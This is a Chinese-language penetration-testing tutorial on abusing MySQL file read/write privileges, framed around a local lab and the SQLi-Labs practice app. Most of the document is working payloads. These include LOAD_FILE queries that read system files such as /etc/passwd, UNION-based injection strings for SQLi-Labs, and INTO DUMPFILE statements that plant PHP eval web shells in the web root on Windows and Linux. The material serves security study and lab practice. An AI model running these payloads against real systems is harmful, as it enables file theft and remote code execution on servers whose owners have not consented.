MySQL 文件读写
如果数据库的配置权限不当,攻击者可以通过 SQL 语句读写文件来进行进一步攻击以获取更多的权限,如读取网站配置文件、修改注册表文件、写入木马等。
1 读写权限判断/设置
MySQL 读写关键字段:secure_file_priv
secure_file_priv 关键值:
权限查看:
mysql> select @@secure_file_priv;
+--------------------+
| @@secure_file_priv |
+--------------------+
| NULL |
+--------------------+
1 row in set (0.00 sec)
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set, 1 warning (0.00 sec)
2 Web 根路径获取
常用 Web 根路径获取有:
基于报错信息
内置函数查询
@@datadir@@basedir
文件上传功能点
文件泄露(
phpinfo.php)猜
3 文件读取/写入
文件读取函数
load_file()
文件写入函数
into outfile:数据可以写入多行,会进行特殊的格式转换。into dumpfile:数据只能写入出一行,保持原有数据格式。
3.1 本地测试读写
## 读取
SELECT LOAD_FILE('C:/Windows/win.ini')
SELECT LOAD_FILE('E:/phpstudy_pro/WWW/Hello.txt')
## 写入
SELECT 'heihei' INTO DUMPFILE 'E:/phpstudy_pro/WWW/xixi.txt'
SELECT '<?php phpinfo();?>' INTO DUMPFILE 'E:/phpstudy_pro/WWW/phpinfo.php'
## 写入木马
SELECT '<?php eval($_REQUEST["a"])?>' INTO DUMPFILE 'E:/phpstudy_pro/WWW/shell.php'
SELECT "<?php eval($_REQUEST['a'])?>" INTO DUMPFILE 'E:/phpstudy_pro/WWW/shell1.php'
3.2 SQLi-Labs
3.2.1 Windows
SQLi-Labs(Windows,SQLi-Labs 2):
?id=-1 union select 1,2,load_file('C:/Windows/win.ini')
?id=-1 union select 1,2,@@basedir # E:\phpstudy_pro\Extensions\MySQL5.7.26\
?id=-1 union select 1,2,load_file('E:/phpstudy_pro/WWW/index.html')
?id=-1 union select 1,2,'<?php @eval($_REQUEST[1]);echo 404;?>' into dumpfile 'E:/phpstudy_pro/WWW/shell.php' --+
3.2.2 Linux
SQLi-Labs(Linux,SQLi-Labs 2):
?id=-1 union select 1,2,load_file('/etc/passwd')
?id=-1 union select 1,2,@@datadir # /var/lib/mysql/
?id=-1 union select 1,2,load_file('/var/www/html/index.html')
?id=-1 union select 1,2,'<?php @eval($_REQUEST[1]);echo 404;?>' into dumpfile '/var/www/html/shell.php' --+ # Can't create/write to file '/var/www/html/shell.php' (Errcode: 13),作者的镜像有点问题,目录权限不对
权限问题解决:
## 进入容器
docker exec -it container_name /bin/bash
chown -R mysql:mysql /var/www/*